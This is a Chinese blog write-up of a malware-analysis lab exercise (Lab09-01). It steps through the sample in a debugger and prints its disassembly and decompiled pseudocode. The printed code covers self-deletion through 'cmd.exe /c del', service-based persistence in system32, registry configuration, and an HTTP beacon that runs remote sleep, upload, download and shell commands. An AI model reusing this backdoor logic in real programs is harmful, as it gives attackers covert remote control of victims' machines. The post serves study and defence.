s1eep123's blog.

恶意代码分析lab9-1

Word count: 2.9kReading time: 14 min
2022/08/06

纵观

详细分析

  1. 打开程序观察堆栈发现并不是main函数入口点
    image-20220824130648845

  2. 利用ida分析main函数地址,并在od中断点
    image-20220824130710216
    image-20220824130728703

  3. 一步一步跟进调试
    image-20220824130742818

  4. 查看参数个数是否为1,继续向下直接call 401000

    image-20220824130755971

  5. 代码太长不好截图,直接放代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    .text:00402410                 push    ebp
    .text:00402411 mov ebp, esp
    .text:00402413 sub esp, 208h
    .text:00402419 push ebx
    .text:0040241A push esi
    .text:0040241B push edi
    .text:0040241C push 104h ; nSize
    .text:00402421 lea eax, [ebp+Filename]
    .text:00402427 push eax ; lpFilename
    .text:00402428 push 0 ; hModule
    .text:0040242A call ds:GetModuleFileNameA
    .text:00402430 push 104h ; cchBuffer
    .text:00402435 lea ecx, [ebp+Filename]
    .text:0040243B push ecx ; lpszShortPath
    .text:0040243C lea edx, [ebp+Filename]
    .text:00402442 push edx ; lpszLongPath
    .text:00402443 call ds:GetShortPathNameA
    .text:00402449 mov edi, offset aCDel ; "/c del "
    .text:0040244E lea edx, [ebp+Parameters]
    .text:00402454 or ecx, 0FFFFFFFFh
    .text:00402457 xor eax, eax
    .text:00402459 repne scasb
    .text:0040245B not ecx
    .text:0040245D sub edi, ecx
    .text:0040245F mov esi, edi
    .text:00402461 mov eax, ecx
    .text:00402463 mov edi, edx
    .text:00402465 shr ecx, 2
    .text:00402468 rep movsd
    .text:0040246A mov ecx, eax
    .text:0040246C and ecx, 3
    .text:0040246F rep movsb
    .text:00402471 lea edi, [ebp+Filename]
    .text:00402477 lea edx, [ebp+Parameters]
    .text:0040247D or ecx, 0FFFFFFFFh
    .text:00402480 xor eax, eax
    .text:00402482 repne scasb
    .text:00402484 not ecx
    .text:00402486 sub edi, ecx
    .text:00402488 mov esi, edi
    .text:0040248A mov ebx, ecx
    .text:0040248C mov edi, edx
    .text:0040248E or ecx, 0FFFFFFFFh
    .text:00402491 xor eax, eax
    .text:00402493 repne scasb
    .text:00402495 add edi, 0FFFFFFFFh
    .text:00402498 mov ecx, ebx
    .text:0040249A shr ecx, 2
    .text:0040249D rep movsd
    .text:0040249F mov ecx, ebx
    .text:004024A1 and ecx, 3
    .text:004024A4 rep movsb
    .text:004024A6 mov edi, offset aNul ; " >> NUL"
    .text:004024AB lea edx, [ebp+Parameters]
    .text:004024B1 or ecx, 0FFFFFFFFh
    .text:004024B4 xor eax, eax
    .text:004024B6 repne scasb
    .text:004024B8 not ecx
    .text:004024BA sub edi, ecx
    .text:004024BC mov esi, edi
    .text:004024BE mov ebx, ecx
    .text:004024C0 mov edi, edx
    .text:004024C2 or ecx, 0FFFFFFFFh
    .text:004024C5 xor eax, eax
    .text:004024C7 repne scasb
    .text:004024C9 add edi, 0FFFFFFFFh
    .text:004024CC mov ecx, ebx
    .text:004024CE shr ecx, 2
    .text:004024D1 rep movsd
    .text:004024D3 mov ecx, ebx
    .text:004024D5 and ecx, 3
    .text:004024D8 rep movsb
    .text:004024DA push 0 ; nShowCmd
    .text:004024DC push 0 ; lpDirectory
    .text:004024DE lea eax, [ebp+Parameters]
    .text:004024E4 push eax ; lpParameters
    .text:004024E5 push offset File ; "cmd.exe"
    .text:004024EA push 0 ; lpOperation
    .text:004024EC push 0 ; hwnd
    .text:004024EE call ds:ShellExecuteA
    .text:004024F4 push 0 ; int
    .text:004024F6 call _exit
    .text:004024F6 sub_402410 endp

    大体就是得到本地文件路径,拼凑字符串
    image-20220824130811300
    在本地尝试可以看到此命令为删除指定路径的文件(怪不得每次点击exe文件就没了,还以为防火墙删了emm)
    image-20220824130821549
    调用SHELL32的ShellExecute函数执行拼接的字符串,但由于已在od中打开,所以不会删除
    image-20220824130926845
    接着往下看,传入参数-in后call 40380f

image-20220825161450107

在main函数中找到__mbscmp相关调用(call的40380f),此函数是比较字符串是否相等的

image-20220824131207556

image-20220824131130609

此函数(40380f)的返回值为910000

image-20220825163746134

可以看到参数-c -cc -re- in

参数 地址 功能
-in .text:00402600
-c
-cc .text:0x401280
-re

接着往下看,添加-in参数后Ctrl+F2重新调试

image-20220824132407112

可见跳过删除自身,push参数call 402510

分析402510函数,发现对传入参数进行是否为abcd的校验

image-20220824133448159

校验失败,call 402410函数,就是之前删除自身的函数

image-20220824133644854

改变参数为-in abcd,即可跳过

image-20220824133848104

call 0040380,ida分析为_mbscmp函数

image-20220824134418260

call 4025B0

image-20220824141400188

image-20220824141515577

该函数作用为获取文件名且返回result=0

image-20220824142219767

接着往下走,call 402600 应该是最重要的对应参数函数

image-20220824142336628

可以看到所传参数为4025B0的返回值(即当前文件文件名)

image-20220825164520644

跟进后看到call了_alloca_probe(可能与注册内存有关,先不管)和4025b0(先前分析过为截取文件名)

image-20220825165228995

接着跟进发现跳转到402632,发现此函数前部分是实现拼接字符串%SYSTEMROOT%\system32\Lab09-01.exe的操作,然后调用OpenScManagerA

image-20220825165810548

可以OpenScManagerA传入参数为3个立即数,之前分析知道它返回一个服务控制管理器句柄,所有要和服务交互的代码会调用这个函数;

对于这种官方API函数可以跳过

接着调用OpenService函数,参数为自身文件名,可以判断开启一个自身服务

image-20220825170308202

接着调用ChangeServiceConfigA和CloseService函数

image-20220825170611821

其中ChangeServiceConfigA所传参数如下,hService为之前开启的自身服务

image-20220825170736958

再往下发现就跳出了402600函数,因此可以推断-in参数为创建服务功能,ida F5伪代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
int __cdecl sub_402600(LPCSTR lpServiceName)
{
int result; // eax@2
SC_HANDLE hService; // [sp+Ch] [bp-1408h]@5
SC_HANDLE hServicea; // [sp+Ch] [bp-1408h]@9
char v4; // [sp+10h] [bp-1404h]@1
CHAR Filename; // [sp+410h] [bp-1004h]@14
CHAR DisplayName; // [sp+810h] [bp-C04h]@9
CHAR BinaryPathName; // [sp+C10h] [bp-804h]@6
SC_HANDLE hSCManager; // [sp+1010h] [bp-404h]@3
CHAR Src; // [sp+1014h] [bp-400h]@3

if ( sub_4025B0(&v4) )
return 1;
strcpy(&Src, aSystemrootSyst); //aSystemrootSyst==%SYSTEMROOT%\system32\
strcat(&Src, &v4);
strcat(&Src, a_exe);
hSCManager = OpenSCManagerA(0, 0, 0xF003Fu); //调用OpenSCManagerA,打开一个服务管理器,
if ( !hSCManager )
return 1;
hService = OpenServiceA(hSCManager, lpServiceName, 0xF01FFu); //服务即自身exe,创建一个服务,
if ( hService ) //如果服务已经创建打开服务
{
if ( !ChangeServiceConfigA(hService, 0xFFFFFFFF, 2u, 0xFFFFFFFF, &BinaryPathName, 0, 0, 0, 0, 0, 0) )
{ //并添加进启动项
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
return 1;
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
}
else
{
strcpy(&DisplayName, lpServiceName);
strcat(&DisplayName, aManagerService); //创建一个服务
hServicea = CreateServiceA(hSCManager, lpServiceName, &DisplayName, 0xF01FFu, 0x20u, 2u, 1u, &Src, 0, 0, 0, 0, 0);
if ( !hServicea )
{
CloseServiceHandle(hSCManager);
return 1;
}
CloseServiceHandle(hServicea);
CloseServiceHandle(hSCManager);
}
if ( ExpandEnvironmentStringsA(&Src, &BinaryPathName, 0x400u) )
{
if ( GetModuleFileNameA(0, &Filename, 0x400u) )
{
if ( CopyFileA(&Filename, &BinaryPathName, 0) ) //将自己复制到 %SYSTEMROOT%\\system32\\xxx,即写进system32目录
{
if ( sub_4015B0(&BinaryPathName) )
result = 1;
else
result = sub_401070(aUps, aHttpWww_practi, a80, a60) != 0;
}
else
{
result = 1;
}
}
else
{
result = 1;
}
}
else
{
result = 1;
}
return result;
}

可以看到已启动自身服务

image-20220824143845843

至此,-in参数分析结束

接着分析-re参数

修改参数为-re abcd

经过_mbscmp函数后eax返回值为1,跳转到-re参数

image-20220825171533060

接着和-in参数一样call 40380f比较字符串,call 4025b0获取文件名

接着call 402900进入-re参数函数

image-20220825173245851

反汇编查看代码,初步判断为删除服务的,od跟进看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __cdecl sub_402900(LPCSTR lpServiceName)
{
int result; // eax@2
SC_HANDLE hService; // [sp+Ch] [bp-C08h]@3
char v3; // [sp+10h] [bp-C04h]@7
CHAR Dst; // [sp+410h] [bp-804h]@9
SC_HANDLE hSCManager; // [sp+810h] [bp-404h]@1
CHAR Src; // [sp+814h] [bp-400h]@9

hSCManager = OpenSCManagerA(0, 0, 0xF003Fu);
if ( hSCManager )
{
hService = OpenServiceA(hSCManager, lpServiceName, 0xF01FFu);
if ( hService )
{
if ( DeleteService(hService) )
{
CloseServiceHandle(hSCManager);
CloseServiceHandle(hService);
if ( sub_4025B0(&v3) )
{
result = 1;
}
else
{
strcpy(&Src, aSystemrootSyst);
strcat(&Src, &v3);
strcat(&Src, a_exe);
if ( ExpandEnvironmentStringsA(&Src, &Dst, 0x400u) )
{
if ( DeleteFileA(&Dst) )
{
if ( sub_401070(&unk_40EB60, &unk_40EB60, &unk_40EB60, &unk_40EB60) )
result = 1;
else
result = sub_401210() != 0;
}
else
{
result = 1;
}
}
else
{
result = 1;
}
}
}
else
{
CloseServiceHandle(hSCManager);
CloseServiceHandle(hService);
result = 1;
}
}
else
{
CloseServiceHandle(hSCManager);
result = 1;
}
}
else
{
result = 1;
}
return result;
}

同样的流程,只不过open改为deleteService

image-20220825173545489

跟进发现服务已禁用

image-20220825173934292

接着deletefile

image-20220825173828296

到此,对于-re参数功能的分析已经结束,我们知道这是删除服务功能;

下面分析-c参数

修改参数为-c abcd

进入调试执行,此处应该就是-c参数代码段

image-20220825195723113

image-20220825204505319

可以看到有2个jnz跳转(402cd9,402ccf)

因为参数为-c所以402cd9不跳转,接下来分析下402ccf,od中是跳转了的

简单反汇编一下可以看到,判断参数是否为7

image-20220825205048492

如果不为7,则call 402410,之前分析过这个函数是删除自身

更改参数如图,实际指令为(xxxx.exe -c 111 222 333 444 abcd)共7个参数,后重新调试

image-20220825210040591

可以看到进入401070函数,并对输入的参数111 222 333 444处理

image-20220825210313255

image-20220825210515185

参数入栈后调用401070,应该就是-c的函数了,进入看看

大概意思就是创建注册表key,然后设置value,一步一步跟进

image-20220825205316100

image-20220825210834559

打开注册表按照参数发现雀氏添加了所传入的参数

image-20220825211222687

接着跳出main函数,结束

至此-c 参数分析完毕,即向指定注册表添加value

接着分析-cc abcd

image-20220825212325566

有两个跳转,od跟进发现并没有跳转,先过。接着call 401280

反汇编查看代码

image-20220825212923365

大概就是注册表查value

image-20220825213434020

打开注册表,然后查值

跳出401280后call 402e74(感觉想printf函数)

image-20220825213657475

发现将查询到的value打印出来,然后删除自身,结束

image-20220825213749050

接下来分析无参,设置参数为abcd

跳转至此401000,

image-20220825215514339

image-20220825220021109

接着call 402360

image-20220825220103045

image-20220825220208694

发现是一个死循环,且通过401280和402020跳出循环

查看401280

image-20220825220353919

猜测如果查询注册表中的value,则跳出循环

查看402020

代码较长不放了

先call了401e60

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
signed int __cdecl sub_401E60(char *a1, signed int a2)
{
signed int result; // eax@2
u_short hostshort[2]; // [sp+8h] [bp-1424h]@3
char name; // [sp+Ch] [bp-1420h]@1
char *v5; // [sp+40Ch] [bp-1020h]@11
int v6; // [sp+410h] [bp-101Ch]@1
char *v7; // [sp+414h] [bp-1018h]@13
int v8; // [sp+418h] [bp-1014h]@5
char *v9; // [sp+428h] [bp-1004h]@9
char v10; // [sp+42Ch] [bp-1000h]@7

v6 = 4096;
if ( sub_401420(&name, 1024) )
{
result = 1;
}
else if ( sub_401470(hostshort) )
{
result = 1;
}
else if ( sub_401D80(&v8) )
{
result = 1;
}
else if ( sub_401AF0(&name, hostshort[0], (int)&v8, &v10, (int)&v6) )
{
result = 1;
}
else
{
v9 = strstr(&v10, asc_40C090);
if ( v9 )
{
v5 = v9;
v9 = strstr(v9, asc_40C088);
if ( v9 )
{
v7 = v9;
if ( v9 - v5 + 1 <= a2 )
{
qmemcpy(a1, &v5[strlen(asc_40C090)], v7 - v5 - strlen(asc_40C090));
a1[v7 - v5 - strlen(asc_40C090)] = 0;
result = 0;
}
else
{
result = 1;
}
}
else
{
result = 1;
}
}
else
{
result = 1;
}
}
return result;
}

其中401420中调用了401280,即-cc参数,就是查询value

image-20220825222101625

接着call了401470,进去看到call了401280和402f6a

接着call了401d80

image-20220825222744151

先获取了当前时间time

然后4030e0函数将40C180的值赋为time

接着call 401D10,跟进去看

image-20220825223222184

返回一个不是数字&&不是小写字母&&不是大写字母的v1(此处返回的是54)

image-20220825223421058

不满足条件接着一直循环

image-20220826085643786

跳出,接着call 401AF0,参数如栈中所示

image-20220826091132206

代码如下,和socket网络通信有关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __cdecl sub_401AF0(char *name, u_short hostshort, int a3, char *a4, int a5)
{
int result; // eax@2
char v6; // [sp+10h] [bp-60Ch]@5
SOCKET s; // [sp+210h] [bp-40Ch]@1
int v8; // [sp+214h] [bp-408h]@1
char buf; // [sp+218h] [bp-404h]@3
int v10; // [sp+618h] [bp-4h]@5

s = 0;
v8 = 0;
if ( sub_401640((int)&s, name, hostshort) )
return 1;
strcpy(&buf, aGet);
strcat(&buf, (const char *)a3);
strcat(&buf, aHttp1_0);
if ( send(s, &buf, strlen(&buf), 0) == -1 )
{
closesocket(s);
WSACleanup();
return 1;
}
do
{
v10 = recv(s, &v6, 512, 0);
if ( v10 <= 0 )
{
if ( v10 )
{
sub_401740(&s);
return 1;
}
continue;
}
if ( (unsigned int)(v10 + v8) > *(_DWORD *)a5 )
{
sub_401740(&s);
return 1;
}
qmemcpy(&a4[v8], &v6, v10);
v8 += v10;
if ( strstr(a4, asc_40C068) )
break;
}
while ( v10 > 0 );
if ( sub_401740(&s) )
{
result = 1;
}
else
{
*(_DWORD *)a5 = v8;
result = 0;
}
return result;
}

纵观以上,可以得到401e60主要功能为以下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int _cdecl sub_401E60(cahr *a1,signed int a2){
signed int result;

if(sub_401420(...)){ // 获取注册表键并截取
result = 1;
}
else if(sub_401470(...)){ // 获取注册表键
result = 1;
}
else if(sub_401D80(...)){ // 无聊的延时
resutl = 1;
}
else if(sub_401AF0(...)){ // 网络Get和recv
result = 1;
}
else{
if(a = strstr(...)){ // 字符串匹配
if(b = strstr(...)){
if(b - a + 1 <= a2){
memcpy(a1 , ...); // 复制
a1[...] = 0;
result = 0;
}
else{
result = 1;
}
}
else{
result = 1;
}
}
else{
result = 1;
}
}
return result;
}

如果获取字符串成功,则进入40204C,可以看到类似于一个后门功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
int __cdecl sub_402020(char *name)
{
const char *v2; // ST2C_4@4
int v3; // ST30_4@4
char *v4; // eax@6
u_short v5; // ST24_2@6
char *v6; // ST28_4@6
char *v7; // eax@10
u_short v8; // ST1C_2@10
char *lpFileName; // ST20_4@10
char *v10; // eax@14
const char *v11; // ST18_4@14
u_short hostshort; // [sp+4h] [bp-424h]@14
FILE *v13; // [sp+8h] [bp-420h]@14
char v14; // [sp+28h] [bp-400h]@1

if ( sub_401E60(&v14, 1024) )
return 1;
if ( !strncmp(&v14, aSleep, strlen(aSleep)) )
{
strtok(&v14, asc_40C0C0);
v2 = strtok(0, asc_40C0C0);
v3 = atoi(v2);
Sleep(1000 * v3);
}
else if ( !strncmp(&v14, aUpload, strlen(aUpload)) )
{
strtok(&v14, asc_40C0C0);
v4 = strtok(0, asc_40C0C0);
v5 = atoi(v4);
v6 = strtok(0, asc_40C0C0);
if ( sub_4019E0(name, v5, v6) )
return 1;
}
else if ( !strncmp(&v14, aDownload, strlen(aDownload)) )
{
strtok(&v14, asc_40C0C0);
v7 = strtok(0, asc_40C0C0);
v8 = atoi(v7);
lpFileName = strtok(0, asc_40C0C0);
if ( sub_401870(name, v8, lpFileName) )
return 1;
}
else if ( !strncmp(&v14, aCmd, strlen(aCmd)) )
{
strtok(&v14, asc_40C0C0);
v10 = strtok(0, asc_40C0C0);
hostshort = atoi(v10);
v11 = strtok(0, asc_40C0A4);
v13 = _popen(v11, aRb);
if ( !v13 )
return 1;
if ( sub_401790(name, hostshort, v13) )
{
_pclose(v13);
return 1;
}
_pclose(v13);
}
else
{
strncmp(&v14, aNothing, strlen(aNothing));
}
return 0;
}

image-20220826092049031

可以实现cmd,和upload

CATALOG
  1. 1. 纵观
  2. 2. 详细分析